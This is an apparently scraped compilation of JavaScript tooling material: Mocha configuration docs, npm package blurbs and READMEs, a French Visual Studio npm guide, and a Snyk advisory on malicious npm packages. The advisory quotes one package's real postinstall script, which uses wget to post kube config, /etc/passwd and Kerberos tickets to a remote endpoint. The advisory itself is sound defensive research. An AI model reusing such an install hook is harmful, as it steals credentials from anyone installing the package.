# Options that only function in browser context:

noHighlighting {boolean} If set to true, do not attempt to use syntax highlighting on output test code.

# Reporting

The HTML reporter is the default reporter when running Mocha in the browser. It looks like this:

Mochawesome is a great alternative to the default HTML reporter.

# Desktop Notification Support

Desktop notifications allow asynchronous communication of events without forcing you to react to a notification immediately. Their appearance and specific functionality vary across platforms. They typically disappear automatically after a short delay, but their content is often stored in some manner that allows you to access past notifications.

Growl was an early notification system implementation for OS X and Windows, hence, the name of Mocha's --growl option.

Once enabled, when your root suite completes test execution, a desktop notification should appear informing you whether your tests passed or failed.

# Node-based notifications

In order to use desktop notifications with the command-line interface (CLI), you must first install some platform-specific prerequisite software. Instructions for doing so can be found here.

Enable Mocha's desktop notifications as follows:

$ mocha --growl

# Browser-based notifications

Web notification support is being made available for current versions of modern browsers. Ensure your browser version supports both promises and web notifications. As the Notification API evolved over time, do not expect the minimum possible browser version to necessarily work.

Enable Mocha's web notifications with a slight modification to your client-side mocha HTML. Add a call to mocha.growl() prior to running your tests as shown below:

# Configuring Mocha (Node.js)

New in v6.0.0

Mocha supports configuration files, typical of modern command-line tools, in several formats:

JavaScript: Create a .mocharc.js (or .mocharc.cjs when using "type"="module" in your package.json) in your project's root directory, and export an object (module.exports = {/* ... */}) containing your configuration.

YAML: Create a .mocharc.yaml (or .mocharc.yml) in your project's root directory.

JSON: Create a .mocharc.json (or .mocharc.jsonc) in your project's root directory. Comments - while not valid JSON - are allowed in this file, and will be ignored by Mocha.

package.json: Create a mocha property in your project's package.json.

# Custom Locations

You can specify a custom location for your configuration file with the --config <path> option. Mocha will use the file's extension to determine how to parse the file, and will assume JSON if unknown.

You can specify a custom package.json location as well, using the --package <path> option.

# Ignoring Config Files

# Priorities

If no custom path was given, and if there are multiple configuration files in the same directory, Mocha will search for - and use - only one. The priority is:

1. .mocharc.js

2. .mocharc.yaml

3. .mocharc.yml

4. .mocharc.jsonc

5. .mocharc.json

# Merging

Mocha will also merge any options found in package.json into its run-time configuration. In case of conflict, the priority is:

1. Arguments specified on command-line

2. Configuration file (.mocharc.js, .mocharc.yml, etc.)

3. mocha property of package.json

Options which can safely be repeated (e.g., --require) will be concatenated, with higher-priorty configuration sources appearing earlier in the list. For example, a .mocharc.json containing "require": "bar", coupled with execution of mocha --require foo, would cause Mocha to require foo, then bar, in that order.

# Extending Configuration

Configurations can inherit from other modules using the extends keyword. See here for more information.

# Configuration Format

Any "boolean" flag (which doesn't require a parameter, such as --bail), can be specified using a boolean value, e.g.: "bail": true.

Any "array"-type option (see mocha --help for a list) can be a single string value.

For options containing a dash (-), the option name can be specified using camelCase.

Aliases are valid names, e.g., R instead of reporter.

Test files can be specified using spec, e.g., "spec": "test/**/*.spec.js".

Flags to node are also supported in configuration files. Use caution, as these can vary between versions of Node.js!

For more configuration examples, see the example/config directory on GitHub.
# The test/ Directory

To configure where mocha looks for tests, you may pass your own glob:

$ mocha --recursive "./spec/*.js"

Some shells support recursive matching by using the globstar (**) wildcard. Bash >= 4.3 supports this with the globstar option which must be enabled to get the same results as passing the --recursive option ( ZSH and Fish support this by default). With recursive matching enabled, the following is the same as passing --recursive:

$ mocha "./spec/**/*.js"

You should always quote your globs in npm scripts. If you use double quotes, it's the shell on UNIX that will expand the glob. On the other hand, if you use single quotes, the node-glob module will handle its expansion.

See this tutorial on using globs.

Note: Double quotes around the glob are recommended for portability.

# Error Codes

New in v6.0.0

Code

Description

ERR_MOCHA_INVALID_ARG_TYPE

wrong type was passed for a given argument

ERR_MOCHA_INVALID_ARG_VALUE

invalid or unsupported value was passed for a given argument

ERR_MOCHA_INVALID_EXCEPTION

a falsy or otherwise underspecified exception was thrown

ERR_MOCHA_INVALID_INTERFACE

interface specified in options not found

ERR_MOCHA_INVALID_REPORTER

reporter specified in options not found

ERR_MOCHA_NO_FILES_MATCH_PATTERN

test file(s) could not be found

ERR_MOCHA_UNSUPPORTED

requested behavior, option, or parameter is unsupported

# Editor Plugins

The following editor-related packages are available:

# TextMate

The Mocha TextMate bundle includes snippets to make writing tests quicker and more enjoyable.

# JetBrains

JetBrains provides a NodeJS plugin for its suite of IDEs (IntelliJ IDEA, WebStorm, etc.), which contains a Mocha test runner, among other things.

The plugin is titled NodeJS, and can be installed via Preferences > Plugins, assuming your license allows it.

# Wallaby.js

Wallaby.js is a continuous testing tool that enables real-time code coverage for Mocha with any assertion library in VS Code, Atom, JetBrains IDEs (IntelliJ IDEA, WebStorm, etc.), Sublime Text and Visual Studio for both browser and node.js projects.

# Emacs

Emacs support for running Mocha tests is available via a 3rd party package mocha.el. The package is available on MELPA, and can be installed via M-x package-install mocha.

Mocha sidebar is the most complete mocha extension for vs code.

# Features

see all tests in VS Code sidebar menu

run & debug tests for each level hierarchy from all tests to a single test (and each suite)

auto run tests on file save

see tests results directly in the code editor

# Examples

Real live example code:

# Testing Mocha

To run Mocha's tests, you will need GNU Make or compatible; Cygwin should work.

# More Information

In addition to chatting with us on Gitter, for additional information such as using spies, mocking, and shared behaviours be sure to check out the Mocha Wiki on GitHub. For discussions join the Google Group. For a running example of Mocha, view example/tests.html. For the JavaScript API, view the API documentation or the source.

# data[].attributes.attachment_link.title
Mocha - the fun, simple, flexible JavaScript test framework

# data[].attributes.attachment_link.title
18 NPM Best and Underrated packages you should use in your projects | daily.dev

# data[].attributes.attachment_link.description
NPM bundles save us huge loads of time and exertion. Need a date library? There's a bundle for it. Need a utility library? Forget about it, simply introduce the bundle. At whatever point you need to take care of an issue with code, the odds are there...

# data[].attributes.attachment_link.readable_text
The most powerful schema description language and data validator for JavaScript.

Installation
npm install joi
Visit the joi.dev Developer Portal for tutorials, documentation, and support

Useful resources

# data[].attributes.attachment_link.description
The most powerful schema description language and data validator for JavaScript. npm install joi

# data[].attributes.attachment_link.title
GitHub - plurals/pluralize: Pluralize or singularize any word based on a count

# data[].attributes.attachment_link.description
Pluralize and singularize any word. npm install pluralize --save yarn add pluralize bower install pluralize --save This module uses a pre-defined list of rules, applied in order, to singularize or pluralize a given word. There are many cases where this is useful, such as any automation based on user input.

# data[].attributes.attachment_link.title
GitHub - recharts/recharts: Redefined chart library built with React and D3

# data[].attributes.attachment_link.description
Redefined chart library built with React and D3. Contribute to recharts/recharts development by creating an account on GitHub.

# data[].attributes.attachment_link.title
GitHub - jsdom/jsdom: A JavaScript implementation of various web standards, for use with Node.js

# data[].attributes.attachment_link.description
A JavaScript implementation of various web standards, for use with Node.js - GitHub - jsdom/jsdom: A JavaScript implementation of various web standards, for use with Node.js

# data[].attributes.attachment_link.title
GitHub - nullivex/nodist: Natural node.js and npm version manager for windows.

# data[].attributes.attachment_link.description
Natural node.js and npm version manager for windows. - GitHub - nullivex/nodist: Natural node.js and npm version manager for windows.

# data[].attributes.attachment_link.description
Terminal string styling done right. chalk has 15 repositories available. Follow their code on GitHub.

# data[].attributes.attachment_link.title
GitHub - ai/nanoid: A tiny (108 bytes), secure, URL-friendly, unique string ID generator for JavaScript

# data[].attributes.attachment_link.description
A tiny (108 bytes), secure, URL-friendly, unique string ID generator for JavaScript - GitHub - ai/nanoid: A tiny (108 bytes), secure, URL-friendly, unique string ID generator for JavaScript

# data[].attributes.attachment_link.title
GitHub - visionmedia/debug: A tiny JavaScript debugging utility modelled after Node.js core's debugging technique. Works in Node.js and web browsers

# data[].attributes.attachment_link.description
A tiny JavaScript debugging utility modelled after Node.js core's debugging technique. Works in Node.js and web browsers - GitHub - visionmedia/debug: A tiny JavaScript debugging utility modelled after Node.js core's debugging technique. Works in Node.js and web browsers

# data[].attributes.attachment_link.title
GitHub - expressjs/morgan: HTTP request logger middleware for node.js

# data[].attributes.attachment_link.description
HTTP request logger middleware for node.js Named after Dexter, a show you should not watch until completion. This is a Node.js module available through the npm registry. Installation is done using thenpm install command: Create a new morgan logger middleware function using the given format and options.

# data[].attributes.attachment_link.title
GitHub - typicode/husky: Git hooks made easy 🐶 woof!

# data[].attributes.attachment_link.description
Modern native Git hooks made easy Husky improves your commits and more 🐶 woof! Edit package.json > prepare script and run it once: npm set-script prepare npm run prepare Add a hook: npx husky add .husky/pre-commit git add .husky/pre-commit Make a commit: git commit -m # `npm test` will run every time you commit For more use cases (project in sub-directory, custom directory, CI support, ...), see documentation.

# data[].attributes.attachment_link.description
A library of string validators and sanitizers. This library validates and sanitizes strings only. If you're not sure if your input is a string, coerce it using input + ''. Passing anything other than a string will result in an error.

# data[].attributes.attachment_link.title
GitHub - sindresorhus/np: A better `npm publish`

# data[].attributes.attachment_link.description
Interactive UI Ensures you are publishing from your release branch (main and master by default) Ensures the working directory is clean and that there are no unpulled changes Reinstalls dependencies to ensure your project works with the latest dependency tree Ensures your Node.js and npm versions are supported by the

# data[].attributes.attachment_link.readable_text
TypeScript is a language for application-scale JavaScript. TypeScript adds optional types to JavaScript that support tools for large-scale JavaScript applications for any browser, for any host, on any OS. TypeScript compiles to readable, standards-based JavaScript. Try it out at the playground, and stay up to date via our blog and Twitter account.

Find others who are using TypeScript at our community page.

Installing

For the latest stable version:

npm install -g typescript

For our nightly builds:

npm install -g typescript@next

Contribute

There are many ways to contribute to TypeScript.

This project has adopted the Microsoft Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact opencode@microsoft.com with any additional questions or comments.

Documentation

Building

In order to build the TypeScript compiler, ensure that you have Git and Node.js installed.

Clone a copy of the repo:

git clone https://github.com/microsoft/TypeScript.git

Change to the TypeScript directory:

Install Gulp tools and dev dependencies:

npm install -g gulp
npm ci

Use one of the following to build and test:

gulp local # Build the compiler into built/local. gulp clean # Delete the built compiler. gulp LKG # Replace the last known good with the built one. # Bootstrapping step to be executed when the built compiler reaches a stable state. gulp tests # Build the test infrastructure using the built compiler. gulp runtests # Run tests using the built compiler and test infrastructure. # You can override the specific suite runner used or specify a test for this command. # Use --tests=<testPath> for a specific test and/or --runner=<runnerName> for a specific suite. # Valid runners include conformance, compiler, fourslash, project, user, and docker # The user and docker runners are extended test suite runners - the user runner # works on disk in the tests/cases/user directory, while the docker runner works in containers. # You'll need to have the docker executable in your system path for the docker runner to work. gulp runtests-parallel # Like runtests, but split across multiple threads. Uses a number of threads equal to the system # core count by default. Use --workers=<number> to adjust this. gulp baseline-accept # This replaces the baseline test results with the results obtained from gulp runtests. gulp lint # Runs eslint on the TypeScript source. gulp help # List the above commands.

Usage

node built/local/tsc.js hello.ts

Roadmap

For details on our planned features and future direction please refer to our roadmap.

# data[].attributes.attachment_link.description
TypeScript is a language for application scale JavaScript development

# data[].attributes.attachment_link.description
The official, opinionated, batteries-included toolset for efficient Redux development

# data[].attributes.attachment_link.description
Hooks for managing, caching and syncing asynchronous and remote data in React

# data[].attributes.attachment_link.readable_text
Works out of the box. Chakra UI contains a set of polished React components that work out of the box.

Flexible & composable. Chakra UI components are built on top of a React UI Primitive for endless composability.

Accessible. Chakra UI components follows the WAI-ARIA guidelines specifications.

Dark Mode 😍: All components are dark mode compatible.

Looking for the documentation?
https://chakra-ui.com
Installing Chakra UI

⚡️Chakra UI is made up of multiple components and tools which you can import one by one. All you need to do is install the@chakra-ui/react package:

$ yarn add @chakra-ui/react

$ npm install --save @chakra-ui/react

To start using the components, please follow these steps:

Wrap your application in a ThemeProvider provided by @chakra-ui/react

ColorModeProvider is a context that provides light mode and dark mode values to the components. It also comes with a function to toggle between light/dark mode.

Now you can start using components like so!:

Feel like contributing? That's awesome! We have a contributing guide to help guide you.

The components to be built come from the Aria Practices Design Patterns and Widgets.

Contributors ✨

Thanks goes to these wonderful people ( emoji key):

This project follows the all-contributors specification. Contributions of any kind welcome!

# data[].attributes.attachment_link.description
Works out of the box. Chakra UI contains a set of polished React components that work out of the box. Flexible & composable. Chakra UI components are built on top of a React UI Primitive for endless composability. Accessible. Chakra UI components follows the WAI-ARIA guidelines specifications.

# data[].attributes.attachment_link.readable_text
Simple and complete React DOM testing utilities that encourage good testing practices.

Table of Contents

The problem

You want to write maintainable tests for your React components. As a part of this goal, you want your tests to avoid including implementation details of your components and rather focus on making your tests give you the confidence for which they are intended. As part of this, you want your testbase to be maintainable in the long run so refactors of your components (changes to implementation but not functionality) don't break your tests and slow you and your team down.

The solution

The React Testing Library is a very lightweight solution for testing React components. It provides light utility functions on top of react-dom and react-dom/test-utils, in a way that encourages better testing practices. Its primary guiding principle is:

The more your tests resemble the way your software is used, the more confidence they can give you.

Installation

This module is distributed via npm which is bundled with node and should be installed as one of your project's devDependencies:

npm install --save-dev @testing-library/react

or

for installation via yarn

yarn add --dev @testing-library/react

This library has peerDependencies listings for react and react-dom.

You may also be interested in installing @testing-library/jest-dom so you can use the custom jest matchers.

Suppressing unnecessary warnings on React DOM 16.8

There is a known compatibility issue with React DOM 16.8 where you will see the following warning:

Warning: An update to ComponentName inside a test was not wrapped in act(...).

If you cannot upgrade to React DOM 16.9, you may suppress the warnings by adding the following snippet to your test configuration ( learn more):

Examples

Basic Example

Complex Example

We recommend using Mock Service Worker library to declaratively mock API communication in your tests instead of stubbing window.fetch, or relying on third-party adapters.

More Examples

We're in the process of moving examples to the docs site

You'll find runnable examples of testing with different libraries in the react-testing-library-examples codesandbox. Some included are:

You can also find React Testing Library examples at react-testing-examples.com.

Hooks

If you are interested in testing a custom hook, check out React Hooks Testing Library.

NOTE: it is not recommended to test single-use custom hooks in isolation from the components where it's being used. It's better to test the component that's using the hook rather than the hook itself. The React Hooks Testing Library is intended to be used for reusable hooks/libraries.

Guiding Principles

The more your tests resemble the way your software is used, the more confidence they can give you.

We try to only expose methods and utilities that encourage you to write tests that closely resemble how your React components are used.

Utilities are included in this project based on the following guiding principles:

1. If it relates to rendering components, it deals with DOM nodes rather than component instances, nor should it encourage dealing with component instances.

2. It should be generally useful for testing individual React components or full React applications. While this library is focused on react-dom, utilities could be included even if they don't directly relate toreact-dom.

3. Utility implementations and APIs should be simple and flexible.

Most importantly, we want React Testing Library to be pretty light-weight, simple, and easy to understand.

Docs

Issues

Looking to contribute? Look for the Good First Issue label.

Please file an issue for bugs, missing documentation, or unexpected behavior.

💡 Feature Requests

Please file an issue to suggest new features. Vote on feature requests by adding a 👍. This helps maintainers prioritize what to work on.

❓ Questions

For questions related to using the library, please visit a support community instead of filing an issue on GitHub.

Contributors

Thanks goes to these people ( emoji key):

This project follows the all-contributors specification. Contributions of any kind welcome!

LICENSE

# data[].attributes.attachment_link.description
Simple and complete React DOM testing utilities that encourage good testing practices. You want to write maintainable tests for your React components. As a part of this goal, you want your tests to avoid including implementation details of your components and rather focus on making your tests give you the confidence for which they are intended.

# data[].attributes.attachment_link.readable_text
Storybook for React is a UI development environment for your React components. With it, you can visualize different states of your UI components and develop them interactively.

Storybook runs outside of your app. So you can develop UI components in isolation without worrying about app specific dependencies and requirements.

Getting Started

cd my-react-app
npx sb init

For more information visit: storybook.js.org

Storybook also comes with a lot of addons and a great API to customize as you wish. You can also build a static version of your storybook and deploy it anywhere you want.

Here are some featured storybooks that you can reference to see how Storybook works:

Create React App

Support for Create React App is handled by @storybook/preset-create-react-app.

This preset enables support for all Create React App features, including Sass/SCSS and TypeScript.

If you're working on an app that was initialized manually (i.e., without the use of Create React App), ensure that your app has react-dom included as a dependency. Failing to do so can lead to unforeseen issues with Storybook and your project.

Typescript

@storybook/react is now exporting its own types to use with Typescript. You don't need to have@types/storybook__react installed anymore if it was your case. But you probably also need to use types from@types/node @types/react.

Docs

# data[].attributes.attachment_link.description
Storybook for React is a UI development environment for your React components. With it, you can visualize different states of your UI components and develop them interactively. Storybook runs outside of your app. So you can develop UI components in isolation without worrying about app specific dependencies and requirements.

# data[].attributes.attachment_link.readable_text
Getting Started

Visit https://nextjs.org/learn to get started with Next.js.

Documentation

Visit https://nextjs.org/docs to view the full documentation.

Who is using Next.js?

Next.js is used by the world's leading companies. Check out the Next.js Showcase to learn more.

Community

The Next.js community can be found on GitHub Discussions, where you can ask questions, voice ideas, and share your projects.

To chat with other community members you can join the Next.js Discord.

Our Code of Conduct applies to all Next.js community channels.

Contributing

Please see our contributing.md.

Good First Issues

We have a list of good first issues that contain bugs which have a relatively limited scope. This is a great place to get started, gain experience, and get familiar with our contribution process.

Authors

# data[].attributes.attachment_link.description
Visit https://nextjs.org/learn to get started with Next.js. Visit https://nextjs.org/docs to view the full documentation. Next.js is used by the world's leading companies. Check out the Next.js Showcase to learn more. The Next.js community can be found on GitHub Discussions, where you can ask questions, voice ideas, and share your projects.

# data[].attributes.attachment_link.readable_text
Open source helps developers build faster. But who's making sure these open source dependencies (sometimes years out of development) stay secure? In a recent npm security research activity, Snyk uncovered a total of 8 npm packages which matched a specific malicious code vector of attack. This specific attack vector of the malicious packages included packages which had pre/post install scripts, which allowed them to run arbitrary commands when installed.

The malicious packages are the following:

After identifying the above packages, Snyk reported them to npm's security team to be flagged as malicious and removed from the npm registry to avoid putting end users in harm's way. The npm ecosystem is open in nature, allowing anyone to submit their packages. This includes even those that aren't open sourced via a repository, or those that may bundle backdoors or other malicious code. With npm spanning more than 1.5 million packages, it isn't an easy task to monitor and catch them all in time, creating a lucrative playground for attackers.

Now that the packages are flagged, let's take a look at how these malicious npm packages operated and what were they trying to do.

What can we learn by analyzing malicious npm packages

Let's start with radar-cms. First, it employed an interesting technique to mask itself, where the overall package size of the tarball was greater than 1MB, which presumably intended to fly below the radar of some systems - including npm's own Explore tab when browsing packages on npmjs.com. See the screenshot below for how this increased package size of the malicious package radar-cms is not viewable for inspection on the npm package page:

Once installed, the malicious payload for radar-cms was specifically targeting information exfiltration from the hosts. Here is original malicious package's postinstall script that we found in its package.json file:

"postinstall": "wget --post-file ~/.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/passwd https://entfet95itcxpuu.m.pipedream.net;wget --post-file /tmp/krb5cc_0 https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/hosts https://entfet95itcxpuu.m.pipedream.net"

So how could you have prevented this attack? (If you already read my npm security best practices blog, I bet you know.)

A best practices for safely installing packages is to avoid the invocation of arbitrary commands by npm packages when they get installed. So, the next time you install an npm package, consider using the following command line argument to keep you safe from packages running arbitrary commands:

npm install --ignore-scripts

Or, if you're using yarn:

yarn install --ignore-scripts

Next, we had the set of npm packages named paychex-*. These packages were designed to steal data from environment variables when they got installed - using a preinstall script hook this time - and send them to a remote server. We see that they've all been flagged as malicious packages on the Snyk database:

Finally, the rcenodejs malicious package had a similar preinstall script that created a reverse shell for remote attackers to connect to.

In all of these cases, you can prevent arbitrary code from running during package installation by just using:

npm install --ignore-scripts

What can I do about software supply chain security on npm?

First things first, it would be a good thing if you could first identify that an npm package is malicious. This may not be clear in the npmjs package pages, and once you install the package it is already too late.

To help with that, Snyk Advisor can clearly show you if a package has been found to be malicious and should not be installed. For example, here's the Advisor page for rcenodejs npm package that shows a malicious CWE-506 security vulnerability.

As more software is created, the more software security risk that we assume upon ourselves. To better equip yourself with best practices, and tools to help you lower the risk or completely mitigate such security incidents, I recommend the following:

1. Consult these 10 npm security best practices to ensure you're following secure conventions when working with open source software. This includes enabling two-factor authentication to npmjs, disabling arbitrary command invocation by unknown third-party open source software, and more.

2. If you're building Node.js docker containers, follow the steps outlined in the production-grade security best practices to build Node.js based containers blog.

# data[].attributes.attachment_link.title
Uncovering Malicious Code in NPM Registry | Snyk

# data[].attributes.attachment_link.description
Open source helps developers build faster. But who's making sure these open source dependencies (sometimes years out of development) stay secure? In a recent npm security research activity, Snyk uncovered a total of 8 npm packages which matched a specific malicious code vector of attack.

# data[].attributes.attachment_link.description
Check out the most popular open-source projects and the latest trends about the web platform and Node.js.

# data[].attributes.attachment_link.readable_text
npm vous permet d'installer et de gérer des packages à utiliser dans les applications Node.js et ASP.NET Core. Visual Studio simplifie l'interaction avec npm et l'exécution de commandes npm par le biais de l'interface utilisateur ou directement. Si vous ne connaissez pas npm et souhaitez en savoir plus, consultez la documentation de npm.

l'intégration de Visual Studio avec npm est différente selon le type de votre projet.

Important

NPM attend le dossier node_modules et Package. JSON dans la racine du projet. Si la structure de dossiers de votre application est différente, vous devez modifier votre structure de dossiers si vous souhaitez gérer des packages NPM à l'aide de Visual Studio.

Projet basé sur CLI (. esproj)

à partir de Visual Studio 2022 Preview 4, le gestionnaire de package npm est disponible pour les projets basés sur l'interface CLI. vous pouvez donc télécharger des modules npm de la même façon que vous téléchargez des packages NuGet pour les projets ASP.NET Core. Vous pouvez ensuite utiliser Package. JSON pour modifier et supprimer des packages.

Pour ouvrir le gestionnaire de package, à partir de Explorateur de solutions, cliquez avec le bouton droit sur le nœud NPM dans votre projet.

Ensuite, vous pouvez rechercher des packages NPM, en sélectionner un et l'installer en sélectionnant installer le package.

Projets Node.js

Pour les projets Node.js, vous pouvez effectuer les tâches suivantes :

Ces fonctionnalités coopèrent et se synchronisent avec le système de projet et le fichier package.json dans le projet.

Prérequis

Vous avez besoin de la charge de travail de développementNode.js et du runtime Node.js pour ajouter la prise en charge de NPM à votre projet. Pour obtenir des instructions détaillées, consultez créer un projet Node.js.

Notes

Pour les projets de Node.js existants, utilisez le modèle de solution à partir de Node.js de code existant ou du dossier ouvert (Node.js) pour activer NPM dans votre projet.

Installer des packages à partir de Explorateur de solutions (Node.js)

Pour les projets Node.js, le moyen le plus simple d'installer des packages NPM consiste à utiliser la fenêtre installation du package NPM. Pour accéder à cette fenêtre, cliquez sur le nœud npm dans le projet, puis sélectionnez Installer de nouveaux packages npm.

Dans cette fenêtre, vous pouvez rechercher un package, spécifier des options et effectuer une installation.

Type de dépendance : choisissez parmi les packages Standard, Développement et Facultatif. Standard signifie que le package est une dépendance du runtime, alors que Développement signifie que le package est nécessaire uniquement pendant le développement.

Ajouter à Package. JSON -recommandé. Cette option configurable est déconseillée.

Version sélectionnée : sélectionnez la version du package que vous souhaitez installer.

Autres arguments npm : spécifiez d'autres arguments npm standard. Par exemple, vous pouvez entrer une valeur de version comme @~0.8 pour installer une version spécifique qui n'est pas disponible dans la liste des versions.

Vous pouvez voir la progression de l'installation dans la sortie de NPM dans la fenêtre sortie (pour ouvrir la fenêtre, choisissez Afficher la > sortie ou appuyez sur CTRL + ALT + O). Cette opération peut prendre un certain temps.

Conseil

Vous pouvez rechercher des packages à étendue en ajoutant au début de la requête de recherche l'étendue qui vous intéresse, par exemple en tapant @types/mocha pour rechercher les fichiers de définition TypeScript pour mocha. En outre, lors de l'installation de définitions de type pour la machine à écrire, vous pouvez spécifier la version d'une machine à écrire que vous ciblez en ajoutant @ts2.6 dans le champ argument npm.

Gérer les packages installés dans Explorateur de solutions (Node.js)

Les packages npm sont affichés dans l'Explorateur de solutions. Les entrées sous le nœud npm imitent les dépendances dans le fichier package.json.

État du package

- Installé et répertorié dans package.json

: installé, mais pas explicitement répertorié dans le fichier package.json

- Non installé, mais répertorié dans le fichier package.json

Cliquez avec le bouton droit sur le nœud NPM pour effectuer l'une des actions suivantes :

Installer de nouveaux packages NPM Ouvre l'interface utilisateur pour installer de nouveaux packages.

Installer les packages NPM Exécute la commande NPM install pour installer tous les packages listés dans Package. JSON. (S'exécute npm install .)

Mettre à jour les packages NPM Met à jour les packages vers les versions les plus récentes, en fonction de la plage de contrôle de version sémantique (SemVer) spécifiée dans Package. JSON. (S'exécute npm update --save .). Les plages SemVer sont généralement spécifiées à l'aide de " ~ " ou " ^ ". Pour plus d'informations, la configuration de package. JSON.

Cliquez avec le bouton droit sur un nœud de package pour effectuer l'une des actions suivantes :

Installer le ou les packages NPM Exécute la commande NPM install pour installer la version de package indiquée dans Package. JSON. (S'exécute npm install .)

Mettre à jour le ou les packages NPM Met à jour le package avec la dernière version, en fonction de la plage SemVer spécifiée dans Package. JSON. (Exécuter npm update --save ). Les plages SemVer sont généralement spécifiées à l'aide de " ~ " ou " ^ ".

Désinstaller le ou les packages NPM Désinstalle le package et le supprime de Package. JSON (s'exécute npm uninstall --save ).

Cliquez avec le bouton droit sur un nœud de package ou le nœud npm pour effectuer l'une des actions suivantes :

Installer les packages manquants qui sont répertoriés dans package.json

Mettre à jour les packages NPM vers la dernière version

Désinstaller un package et supprimer package.json

Notes

Pour obtenir de l'aide sur la résolution des problèmes liés aux packages NPM, consultez Dépannage.

Utilisez la commande. NPM dans la fenêtre interactive Node.js (Node.js)

Vous pouvez également utiliser la commande .npm dans la fenêtre interactive de Node.js pour exécuter des commandes npm. Pour ouvrir la fenêtre, cliquez avec le bouton droit sur le projet dans Explorateur de solutions, puis choisissez ouvrir Node.js fenêtre interactive (ou appuyez sur CTRL + K, N).

Dans la fenêtre, vous pouvez utiliser des commandes telles que les suivantes pour installer un package :
.npm install azure@4.2.3

Conseil

Par défaut, npm s'exécute dans le répertoire de base de votre projet. Si vous avez plusieurs projets dans votre solution, spécifiez le nom ou le chemin du projet entre crochets. .npm [MyProjectNameOrPath] install azure@4.2.3

Conseil

Si votre projet ne contient pas de fichier package.json, utilisez .npm init -y pour en créer un avec des entrées par défaut.

projets ASP.NET Core

pour les projets tels que les projets ASP.NET Core, vous pouvez intégrer la prise en charge de npm dans votre projet et utiliser npm pour installer des packages.

Notes

pour les projets ASP.NET Core, vous pouvez également utiliser le gestionnaire de bibliothèque ou le fil à la place de npm pour installer des fichiers JavaScript et CSS côté client.

Ajouter la prise en charge de NPM à un projet (ASP.NET Core)

Si votre projet n'inclut pas encore de fichier Package. JSON , vous pouvez en ajouter un pour activer la prise en charge de NPM en ajoutant un fichier Package. JSON au projet.

1. Si Node.js n'est pas installé, nous vous recommandons d'installer la version LTS à partir du site Web Node.js pour une meilleure compatibilité avec les infrastructures et les bibliothèques externes.

NPM requiert Node.js.

2. Pour ajouter le fichier Package. JSON , cliquez avec le bouton droit sur le projet dans Explorateur de solutions et choisissez Ajouter > un nouvel élément (ou appuyez sur CTRL + MAJ + A). Choisissez le fichier de configuration NPM, utilisez le nom par défaut, puis cliquez sur Ajouter.

Si vous ne voyez pas le fichier de configuration NPM répertorié, Node.js outils de développement ne sont pas installés. vous pouvez utiliser la Visual Studio Installer pour ajouter la charge de travail de développementNode.js . Ensuite, répétez l'étape précédente.

3. Incluez un ou plusieurs packages NPM dans dependencies la devDependencies section ou de Package. JSON. Par exemple, vous pouvez ajouter le code suivant au fichier :

"devDependencies": { "gulp": "4.0.2", "@types/jquery": "3.3.33" }

lorsque vous enregistrez le fichier, Visual Studio ajoute le package sous le nœud Dependencies/npm dans Explorateur de solutions. Si vous ne voyez pas le nœud, cliquez avec le bouton droit sur Package. JSON et choisissez restaurer les packages.

Notes

Dans certains scénarios, Explorateur de solutions peut ne pas afficher l'état correct des packages NPM installés. Pour plus d'informations, consultez la page Dépannage.

Installer des packages à l'aide de package. JSON (ASP.NET Core)

Pour les projets avec NPM inclus, vous pouvez configurer des packages NPM à l'aide de package.json . Dans Explorateur de solutions, cliquez avec le bouton droit sur le nœud NPM, puis choisissez ouvrir package. JSON.

IntelliSense dans Package. JSON vous permet de sélectionner une version particulière d'un package NPM.

lorsque vous enregistrez le fichier, Visual Studio ajoute le package sous le nœud Dependencies/npm dans Explorateur de solutions. Si vous ne voyez pas le nœud, cliquez avec le bouton droit sur Package. JSON et choisissez restaurer les packages.

L'installation d'un package peut prendre plusieurs minutes. Vérifiez la progression de l'installation du package en basculant vers la sortie de NPM dans la fenêtre sortie .

Résolution des problèmes des packages NPM

NPM requiert Node.js si vous n'avez pas Node.js installé, nous vous recommandons d'installer la version LTS à partir du site Web Node.js pour une meilleure compatibilité avec les infrastructures et les bibliothèques externes.

Pour les projets Node.js, la charge de travail de développementNode.js doit être installée pour la prise en charge de NPM.

Dans certains scénarios, Explorateur de solutions peut ne pas afficher l'état correct des packages NPM installés en raison d'un problème connu décrit ici. Par exemple, le package peut apparaître comme n'étant pas installé lors de son installation. dans la plupart des cas, vous pouvez mettre à jour Explorateur de solutions en supprimant package. json, en redémarrant Visual Studio et en rajoutant le fichier package. json , comme décrit précédemment dans cet article. Ou, lors de l'installation de packages, vous pouvez utiliser la fenêtre Sortie NPM pour vérifier l'état de l'installation.

dans certains scénarios de ASP.NET Core, le nœud npm dans Explorateur de solutions peut ne pas être visible après la génération du projet. Pour afficher à nouveau le nœud, cliquez avec le bouton droit sur le nœud du projet et choisissez Décharger Project. Cliquez ensuite avec le bouton droit sur le nœud du projet et choisissez recharger Project.

Si vous constatez des erreurs lors de la génération de votre application ou du code de la machine à écrire, recherchez les incompatibilités de packages NPM comme source potentielle d'erreurs. Pour identifier les erreurs, consultez la fenêtre Sortie NPM lors de l'installation des packages, comme décrit précédemment dans cet article. Par exemple, si une ou plusieurs versions de package NPM sont dépréciées et provoquent une erreur, vous devrez peut-être installer une version plus récente pour corriger les erreurs. Pour plus d'informations sur l'utilisation de package.json pour gérer les versions des packages npm, consultez Configuration de package.json.

# data[].attributes.attachment_link.title
Gérer les packages npm - Visual Studio (Windows)

# data[].attributes.attachment_link.description
npm vous permet d'installer et de gérer des packages à utiliser dans les applications Node.js et ASP.NET Core. Visual Studio simplifie l'interaction avec npm et l'exécution de commandes npm par le biais de l'interface utilisateur ou directement. Si vous ne connaissez pas npm et souhaitez en savoir plus, consultez la documentation de npm.

# data[].attributes.attachment_link.readable_text
Vanilla ES2015 JavaScript
If you need to use Slugify with older browsers, consider using version 1.4.7

No dependencies

Coerces foreign symbols to their English equivalent (check out the charMap for more details)

Works in the browser (window.slugify) and AMD/CommonJS-flavored module loaders

Options

Remove

For example, to remove *+~.()'"!:@ from the result slug, you can use slugify('..', {remove: /[*+~.()'"!:@]/g}).

Locales

The main charmap.json file contains all known characters and their transliteration. All new characters should be added there first. In case you stumble upon a character already set in charmap.json, but not transliterated correctly according to your language, then you have to add those characters in locales.json to override the already existing transliteration in charmap.json, but for your locale only.

You can get the correct language code of your language from here.

Extend

